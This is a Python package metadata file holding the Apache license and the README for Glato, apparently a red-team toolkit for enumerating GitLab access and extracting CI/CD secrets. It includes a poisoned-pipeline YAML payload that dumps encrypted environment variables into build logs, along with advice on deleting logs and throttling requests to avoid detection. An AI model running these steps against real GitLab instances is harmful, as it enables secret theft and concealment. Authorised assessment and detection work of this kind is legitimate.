Metadata-Version: 2.4
Name: praetorian-glato
Version: 1.0.0b5
Summary: GitLab Actions Enumeration and Attack Framework
Author-email: John Stawinski <john.stawinski@praetorian.com>, Matthew Jackoski <matthew.jackoski@praetorian.com>, Elgin Lee <elgin.lee@praetorian.com>, Mason Davis <mason.davis@praetorian.com>
License:                                  Apache License
                                   Version 2.0, January 2004
                                http://www.apache.org/licenses/
        
           TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
        
           1. Definitions.
        
              "License" shall mean the terms and conditions for use, reproduction,
              and distribution as defined by Sections 1 through 9 of this document.
        
              "Licensor" shall mean the copyright owner or entity granting the License.
        
              "Legal Entity" shall mean the union of the acting entity and all
              other entities that control, are controlled by, or are under common
              control with that entity. For the purposes of this definition,
              "control" means (i) the power, direct or indirect, to cause the
              direction or management of such entity, whether by contract or
              otherwise, or (ii) ownership of fifty percent (50%) or more of the
              outstanding shares, or (iii) beneficial ownership of such entity.
        
              "You" (or "Your") shall mean an individual or Legal Entity
              exercising permissions granted by this License.
        
              "Source" shall mean the preferred form for making modifications,
              including but not limited to software source code, documentation
              source, and configuration files.
        
              "Object" shall mean any form resulting from mechanical
              transformation or translation of a Source form, including but
              not limited to compiled object code, generated documentation,
              and conversions to other media types.
        
              "Work" shall mean the work of authorship, under this License,
              whether in Source or Object form, made available under the License,
              as indicated by a copyright notice that is included in or attached
              to the work. (For example, see the appendix below.)
        
              "Derivative Works" shall mean any work, whether in Source or Object
              form, that is based upon (or derived from) the Work and for which the
              editorial revisions, annotations, elaborations, or other modifications
              represent, as a whole, an original work of authorship. For the purposes
              of this License, Derivative Works shall not include works that remain
              separable from, or merely link (or bind by name) to the interfaces of,
              the Work and based on existing works or knowledge.
        
              "Contribution" shall mean any work of authorship, including
              the original version of the Work and any modifications or additions
              to that Work or Derivative Works thereof, that is intentionally
              submitted to Licensor for inclusion in the Work by the copyright owner
              or by an individual or Legal Entity authorized to submit on behalf of
              the copyright owner. For the purposes of this definition, "submitted"
              means any form of electronic, verbal, or written communication sent
              to the Licensor or its representatives, including but not limited to
              communication on electronic mailing lists, source code control
              systems, and issue tracking systems that are managed by, or on behalf
              of, the Licensor for the purpose of discussing and improving the Work,
              but excluding communication that is conspicuously marked or otherwise
              designated in writing by the copyright owner as "Not a Contribution."
        
              "Contributor" shall mean Licensor and any individual or Legal Entity
              on behalf of whom a Contribution has been received by Licensor and
              subsequently incorporated within the Work.
        
           2. Grant of Copyright License. Subject to the terms and conditions of
              this License, each Contributor hereby grants to You a perpetual,
              worldwide, non-exclusive, no-charge, royalty-free, irrevocable
              copyright license to use, reproduce, modify, merge, publish,
              distribute, sublicense, and/or sell copies of the Work, and to
              permit persons to whom the Work is furnished to do so, subject to
              the following conditions:
        
              The above copyright notice and this permission notice shall be
              included in all copies or substantial portions of the Work.
        
           3. Grant of Patent License. Subject to the terms and conditions of
              this License, each Contributor hereby grants to You a perpetual,
              worldwide, non-exclusive, no-charge, royalty-free, irrevocable
              (except as stated in this section) patent license to make, have made,
              use, offer to sell, sell, import, and otherwise transfer the Work,
              where such license applies only to those patent claims licensable
              by such Contributor that are necessarily infringed by their
              Contribution(s) alone or by combination of their Contribution(s)
              with the Work to which such Contribution(s) was submitted. If You
              institute patent litigation against any entity (including a
              cross-claim or counterclaim in a lawsuit) alleging that the Work
              or a Contribution incorporated within the Work constitutes direct
              or contributory patent infringement, then any patent licenses
              granted to You under this License for that Work shall terminate
              as of the date such litigation is filed.
        
           4. Redistribution. You may reproduce and distribute copies of the
              Work or Derivative Works thereof in any medium, with or without
              modifications, and in Source or Object form, provided that You
              meet the following conditions:
        
              (a) You must give any other recipients of the Work or
                  Derivative Works a copy of this License; and
        
              (b) You must cause any modified files to carry prominent notices
                  stating that You changed the files; and
        
              (c) You must retain, in the Source form of any Derivative Works
                  that You distribute, all copyright, patent, trademark, and
                  attribution notices from the Source form of the Work,
                  excluding those notices that do not pertain to any part of
                  the Derivative Works; and
        
              (d) If the Work includes a "NOTICE" file as part of its
                  distribution, then any Derivative Works that You distribute
                  must include a readable copy of the attribution notices
                  contained within such NOTICE file, excluding those notices
                  that do not pertain to any part of the Derivative Works,
                  in at least one of the following places: within a NOTICE file
                  distributed as part of the Derivative Works; within the Source
                  form or documentation, if provided along with the Derivative
                  Works; or, within a display generated by the Derivative Works,
                  if and wherever such third-party notices normally appear. The
                  contents of the NOTICE file are for informational purposes only
                  and do not modify the License. You may add Your own attribution
                  notices within Derivative Works that You distribute, alongside
                  or as an addendum to the NOTICE text from the Work, provided
                  that such additional attribution notices cannot be construed
                  as modifying the License.
        
              You may add Your own copyright notice to Your modifications and
              may provide additional or different license terms and conditions
              for use, reproduction, or distribution of Your modifications, or
              for any such Derivative Works as a whole, provided Your use,
              reproduction, and distribution of the Work otherwise complies with
              the conditions stated in this License.
        
           5. Submission of Contributions. Unless You explicitly state otherwise,
              any Contribution intentionally submitted for inclusion in the Work
              by You to the Licensor shall be under the terms and conditions of
              this License, without any additional terms or conditions.
              Notwithstanding the above, nothing herein shall supersede or modify
              the terms of any separate license agreement you may have executed
              with Licensor regarding such Contributions.
        
           6. Trademarks. This License does not grant permission to use the trade
              names, trademarks, service marks, or product names of the Licensor,
              except as required for reasonable and customary use in describing the
              origin of the Work and reproducing the content of the NOTICE file.
        
           7. Disclaimer of Warranty. Unless required by applicable law or
              agreed to in writing, Licensor provides the Work (and each
              Contributor provides its Contributions) on an "AS IS" BASIS,
              WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
              implied, including, without limitation, any warranties or conditions
              of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
              PARTICULAR PURPOSE. You are solely responsible for determining the
              appropriateness of using or redistributing the Work and assume any
              risks associated with Your exercise of permissions under this License.
        
           8. Limitation of Liability. In no event and under no legal theory,
              whether in tort (including negligence), contract, or otherwise,
              unless required by applicable law (such as deliberate and grossly
              negligent acts) or agreed to in writing, shall any Contributor be
              liable to You for damages, including any direct, indirect, special,
              incidental, or consequential damages of any character arising as a
              result of this License or out of the use or inability to use the
              Work (including but not limited to damages for loss of goodwill,
              work stoppage, computer failure or malfunction, or any and all
              other commercial damages or losses), even if such Contributor
              has been advised of the possibility of such damages.
        
           9. Accepting Warranty or Support. You may choose to offer, and to
              charge a fee for, warranty, support, indemnity or other liability
              obligations and/or rights consistent with this License. However, in
              accepting such obligations, You may act only on Your own behalf and
              on Your sole responsibility, not on behalf of any other Contributor,
              and only if You agree to indemnify, defend, and hold each Contributor
              harmless for any liability incurred by, or claims asserted against,
              such Contributor by reason of your accepting any such warranty or support.
        
           END OF TERMS AND CONDITIONS
        
           APPENDIX: How to apply the Apache License to your work.
        
              To apply the Apache License to your work, attach the following
              boilerplate notice, with the fields enclosed by brackets "[]"
              replaced with your own identifying information. (Don't include
              the brackets!)  The text should be enclosed in comments and be
              located prominently within each file or in a separate LICENSE file
              distributed with the Work.
        
           Copyright 2023-2025 Praetorian Security, Inc.
        
           Licensed under the Apache License, Version 2.0 (the "License");
           you may not use this file except in compliance with the License.
           You may obtain a copy of the License at
        
               http://www.apache.org/licenses/LICENSE-2.0
        
           Unless required by applicable law or agreed to in writing, software
           distributed under the License is distributed on an "AS IS" BASIS,
           WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
           See the License for the specific language governing permissions and
           limitations under the License.
Project-URL: Homepage, https://github.com/praetorian-inc/glato
Project-URL: Repository, https://github.com/praetorian-inc/glato
Project-URL: Issues, https://github.com/praetorian-inc/glato/issues
Classifier: Programming Language :: Python :: 3.7
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Requires-Python: >=3.7
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: colorama
Requires-Dist: requests>=2.28.1
Requires-Dist: pyyaml
Requires-Dist: packaging
Requires-Dist: cryptography
Requires-Dist: beautifulsoup4
Provides-Extra: test
Requires-Dist: flake8; extra == "test"
Requires-Dist: pytest>=7.1.2; extra == "test"
Requires-Dist: pytest-cov; extra == "test"
Requires-Dist: GitPython>=3.1.31; extra == "test"
Dynamic: license-file

![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)

# Glato (GitLab Attack TOolkit) -- BETA VERSION

Glato (pronounced "Gelato"), or GiLab Attack Toolkit, is an enumeration and attack tool that allows both 
blue teamers and offensive security practitioners to identify and exploit 
pipeline vulnerabilities within a GitLab Instance's public and private 
repositories.

Glato is current in Beta. As we continue development and testing, users may encounter bugs or unexpected behavior. Please report any issues through GitHub Issues to help us improve.

## Who is it for?

- Security engineers who want to understand the level of access a compromised
  GitLab PAT could provide an attacker
- Blue teams that want to build detections for GitLab attacks
- Red Teamers (Glato was initially designed by Praetorian's Red Team for use on engagements)
- Security architects who want to understand potential risks present in their GitLab environment

## Features

- Token/Cookie Authentication Analysis: Evaluate permissions and scope of GitLab tokens or session cookies
- Project Enumeration: Discover accessible projects and associated metadata and access levels
- Group Enumeration: Map accessible groups and permission levels
- Branch Protection Analysis: Identify misconfigurations in branch protection rules
- Secret Enumeration: Enumerate and extract secrets from multiple sources, including:
  - Project-level CI/CD variables and secure files
  - Group-level CI/CD variables  
  - Instance-level CI/CD variables
  - Variable interpolation through recursive pipeline YML analysis (when permissions prevent variable retrieval through the GL API)
  - Flags secrets used in downstream pipelined when performing YML analysis
- Runner Enumeration: Comprehensive runner analysis including live runner discovery and workflow tag requirements analysis
- Poisoned Pipeline Execution: Exfiltrate secrets securely through PPE attacks that encrypt all CICD variables in transit
- Throttling: Control API request rate to avoid detection

## Getting Started

### Installation

Glato supports OS X and Linux with at least **Python 3.7**.

In order to install the tool, simply clone the repository and use `pip install`. We 
recommend performing this within a virtual environment.

```bash
git clone https://github.com/praetorian-inc/glato.git
cd glato
python3 -m venv venv
source venv/bin/activate
pip install .
```

#### Docker
You can also build and run glato using a Docker container.

**Building the Docker Image:**

```bash
docker build -t glato .
```

**Running glato with Token Authentication:**

To run glato using a GitLab Personal Access Token (PAT):

```bash
docker run -t -e GL_TOKEN=your_token_here glato -u https://gitlab.yourdomain.com [args]
```

**Running glato with Cookie Authentication:**

If using cookie authentication, you'll need to mount a volume for the cookie configuration:

1. Create a cookies.json file locally:
```json
{
    "azure_access": "login.microsoftonline.com#<cookies>",
    "gitlab_session": "gitlab.example.com#_gitlab_session=value;"
}
```

2. Run glato with the volume mounted:
```bash
docker run -t -v $(pwd)/cookies.json:/app/glato/config/cookies.json glato --cookie-auth [options]
```

**Entering Interactive Mode:**

If you need to enter information interactively (like a token when prompted):

```bash
docker run -it glato [options]
```


#### Dev Branch

We maintain a development branch that contains newer Glato features that are not yet added to main.
There is an increased chance you will run into bugs; however, we still run our integration test
suite on the `dev` branch, so there should not be any _blatant_ bugs.

If you want to use the `dev` branch, just check it out prior to running pip install - that's it!

If you do run into any for your specific use case, by all means open an issue!


### Authentication

After installing the tool, it can be launched by running `glato` or
`praetorian-glato`.

We recommend viewing the parameters for the base tool using `glato -h`.

### Authentication

Glato supports two authentication methods:

1. Personal Access Token (PAT)
   - Required scopes: `api` or `read_api` for enumeration features, `api` for PPE attacks
   - To create a PAT:
     1. Go to GitLab User Settings > [Access Tokens](https://gitlab.com/-/profile/personal_access_tokens)  
     2. Create a token with required scopes
     3. Either:
        - Set as environment variable: `export GL_TOKEN=<token>`
        - Enter when prompted by Glato

2. Session Cookie Authentication
   - Useful when PAT creation is restricted or for testing SSO scenarios
   - Setup steps:
     1. Copy template: `cp glato/templates/cookies.json glato/config/cookies.json`
     2. In your browser, log into GitLab
     3. Open browser dev tools > Application/Storage > Cookies
     4. Find the `_gitlab_session` cookie
     5. Update `gitlab_session` in config:
        ```json
        {
            "gitlab_session": "gitlab.example.com#_gitlab_session=value;"
        }
        ```
     6. For GitLab behind Azure App Proxy:
        - Also copy the Azure AD cookies from `login.microsoftonline.com`
        - Update `azure_access` in config similarly
        - If you are not using GitLab behind an Azure App Proxy, you can ignore this section of the cookies file and leave in the dummy values.

   Use `--cookie-auth` when running Glato to use cookie authentication.

Note: Some features like PPE attacks require a PAT and cannot use cookie authentication.

## Using Glato as a Library

Glato can be imported and used programmatically in your Python projects:

### Installation

```bash
pip install praetorian-glato
```

### Basic Usage

```python
import glato

# Quick token enumeration
user_info, scopes = glato.enumerate_token(token="your-gitlab-token")
print(f"User: {user_info.username}")
print(f"Scopes: {', '.join(scopes)}")

# Enumerate all accessible projects
for project in glato.enumerate_all_projects(token="your-token", include_secrets=True):
    print(f"Project: {project.path_with_namespace}")
    if project.secrets and project.secrets.variables:
        print(f"  Variables: {len(project.secrets.variables)}")

# Enumerate groups
for group in glato.enumerate_all_groups(token="your-token", include_secrets=True):
    print(f"Group: {group.full_path}")

# Get secrets for a specific project
secrets = glato.get_project_secrets(project_id=12345, token="your-token")
```

### Advanced Usage

```python
# Create enumerator with custom settings
enumerator = glato.create_enumerator(
    token="your-token",
    gitlab_url="https://gitlab.company.com",
    throttle=1,  # 1 second between requests
    proxy="http://127.0.0.1:8080"
)

# Full control over enumeration
if enumerator.enumerate_token():
    for project in enumerator.enumerate_projects_v2(
            secrets_enum=True,
            runners_enum=True,
            include_archived=False):
        # Process project data
        pass

# Direct API access
api = glato.Api(pat="your-token")
response = api._call_get('/projects')
```

See `examples/library_usage.py` for more detailed examples.

## Why Release This Tool?

During our Red Ream assessments, CI/CD has been the weak link for many organizations. We wanted to release a tool that allows organizations to assess the impact of developer credential compromise and provide a valuable tool for red-teamers and penetration testers to evaluate the access gained from GitLub PATs compromised during an engagement.

This tool is a natural companion [Gato](https://github.com/praetorian-inc/gato/), the GitHub Attack Toolkit. Together, these tools enable security professional to assess the resiliance of GitHub and GitLab to CI/CD pipeline attacks and credential compromise.

## Documentation

### Glato Usage Scenarios

This page is a living document of real-world examples where glato is useful. At a high level: I have access to`X`, how can I do `Y`?

#### Determining the Reach of a Compromised GitLab PAT
This is where glato is most useful as a tool. Suppose you are conducting a penetration test or red team and identify a personal access token hard-coded in a script.

##### Validate
The first step is to validate the token and check the token scopes & user info: `glato --enumerate-token`

##### Enumerate Project Access
Use `glato --enumerate-projects` to discover all accessible projects and their permission levels. Add `--enumerate-secrets` to also extract CI/CD variables and secure files from projects where you have sufficient access. Add `--throttle <seconds>` to add an `x` second delay in between each API request.

##### Use Glato With Alternate GitLab URL
If you are using Glato with an alternate URL (like for an internal GitLab instance), you can use the `-u` flag. Example: `glato --enumerate-projects -u https://gitlab.yourenterpriseurl.io`

##### Enumerate Group Access  
Use `glato --enumerate-groups` to map accessible groups and permission levels. Add `--enumerate-secrets` to extract group-level CI/CD variables where possible.

##### Enumerate Self-Hosted Runners
Use `--enumerate-runners` with both `--enumerate-projects` and `--enumerate-groups` to discover self-hosted runners and analyze workflow runner requirements. This provides comprehensive runner intelligence including live runner data (where permissions allow) and workflow tag analysis for all accessible projects.

The runner enumeration feature provides:
- **Live Runner Discovery**: Enumerates registered self-hosted runners (requires Maintainer+ access)
- **Workflow Tag Analysis**: Analyzes GitLab CI files to extract runner tag requirements (requires Developer+ access)
- **Pipeline Log Analysis**: Examines recent pipeline logs for actual runner usage patterns
- **Gap Analysis**: Identifies mismatches between required vs available runners
- **Security Assessment**: Maps complete runner attack surface across accessible projects

##### Enumerate Everything
Use `--self-enumeration` to perform comprehensive enumeration of all accessible resources. Add `--enumerate-secrets` to include secret extraction where possible.

#### Exfiltrate Secrets via GitLab API
Use `--enumerate-secrets` with project/group enumeration to extract secrets directly via GitLab's API endpoints where permissions allow.
If you don't have permissions to retrieve CICD variables via the API. but you have Developer access to a project, Glato will perform recursive
workflow analysis to identify environment veriables that may indicate project, group, or instance-level secrets. You can use these results
to identify projects that could be good candidates for secrets exfiltration via a Poisoned Pipeline Attack (PPE).

**Warning: This will automatically extract secrets when privileges allow. Only use this feature if you are comfortable having potentially privileged secrets exposed to your machine.**


#### Enumerate Branch Protections
Glato allows enumerating branch protections for a specific project or all accessible projects, which is useful when identifying paths for low-privileged developers to contribute code directly to a default branch. Use `--check-branch-protections` with project enumeration (`--enumerate-projects`) or `--project-path` to analyze branch protection rules and identify potential misconfigurations.

#### Exfiltrate Secrets via PPE
If direct API access to secrets is restricted, use `--exfil-secrets-via-ppe --project-path <path> --branch <branch_name>` to attempt secret exfiltration via pipeline execution. This requires a GitLab PAT with sufficient permissions.

##### How Does the PPE Attack Work?
PPE attacks involve repository modifications and sensitive secrets, and can pose a risk to your organization if executed insecurely. These are the steps Glato takes during a PPE attack, along with various security considerations.

1. Glato creates a new branch in the target project using the value passed in through the `--branch` parameter (if the branch does not already exist). It is **strongly** recommended to use a **new** branch for this step to ensure pipelines on actively used branches are not overwritten.

2. Glato creates a new public key, private key pair and stores them locally.

3. Glato pushes a variation of the following `.gitlab-ci.yml` file to the specified project and branch:
```yaml

variables:
  KEY: <public_key_from_step_2>

stages:
  - build

default:
  image: alpine

build_a:
  stage: build
  script:
    - apk add openssl
    - openssl rand -base64 24 | tr -d '\n' > sym.key
    - echo -n '$'; cat sym.key | openssl pkeyutl -encrypt -pubin -inkey <(echo $KEY | base64 -d) | base64 -w 0; echo -n '$'; env | openssl enc -aes-256-cbc -kfile sym.key -pbkdf2 | base64 -w 0; echo '$'

```

This pipeline creates a new symmetric key, and encrypts the symmetric key with the public key generated it step 2. The encrypted key output is printed to the build log. Then, it uses the symmetric key to encrypt the output of `env` and prints the output to the build log. `env` will contain all instance, project, and group-level CICD variables available to this project + branch combination.

4. Glato retrieves the output from the pipeline job execution log

5. Glato decrypts the encrypted symmetric key using the private key stored locally to recover the symmetric key generated during execution.

6. Glato uses the symmetric key to decrypt the encrypted `env` output and prints the contents of the environment variables.

7. Glato deletes the pipeline job execution logs.

8. If Glato created a new branch in step 1, Glato deletes the branch. *Note: If Glato updated the pipeline yml file of a preexisitng branch, it will not automatically restore the yml contents to avoid triggering unecessary pipelines.*



### OpSsec
If you are a Red-Teamer seeking to assess a token's privileges without alerting the organization of your activities, then you should understand OpSec risks associated with certain features.

**Enumeration:** Any project, group, user, or instance-level enumeration will send a series of API requests that scale according to the size of the target environment. These requests could trigger custom alerts based on spikes in API activity. These risks can be partially mitigated using the `--throttle` flag to add a sleep in between each API request.

**Attack:** Executing a PPE will involve creating a new branch on a repository, adding your own code, triggering a pipeline, deleting the branch, and deleting the pipeline execution logs. During this process, there is potential for GitLab users to notice the activity and attribute it as malicious. Exfiltrating CI/CD variables via the GL API does not require repository modificaitons, but may trigger custom detections that have been impleneted around the CI/CD variables API endpoints.


## Bugs

If you believe you have identified a bug within the software, please open an 
issue containing the tool's output, along with the actions you were trying to
conduct.

If you are unsure if the behavior is a bug, use the discussions section instead!


## Contributing

Contributions are welcome! Please [review](https://github.com/praetorian-inc/gato/wiki/Project-Design) our design methodology and coding 
standards before working on a new feature!

Additionally, if you are proposing significant changes to the tool, please open 
an issue [open an issue](https://github.com/praetorian-inc/glato/issues/new) to 
start a conversation about the motivation for the changes.

## Maintainers

Glato was developed by:
- [John Stawinski](https://www.linkedin.com/in/john-stawinski-72ba87191/)
- [Matthew Jackoski](https://www.linkedin.com/in/matthew-jackoski/)
- [Elgin Lee](https://www.linkedin.com/in/elgin-lee/)
- [Mason Davis](https://www.linkedin.com/in/mas0nd/)

## License

Glato is licensed under the [Apache License, Version 2.0](LICENSE).

```
Copyright 2023 Praetorian Security, Inc

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
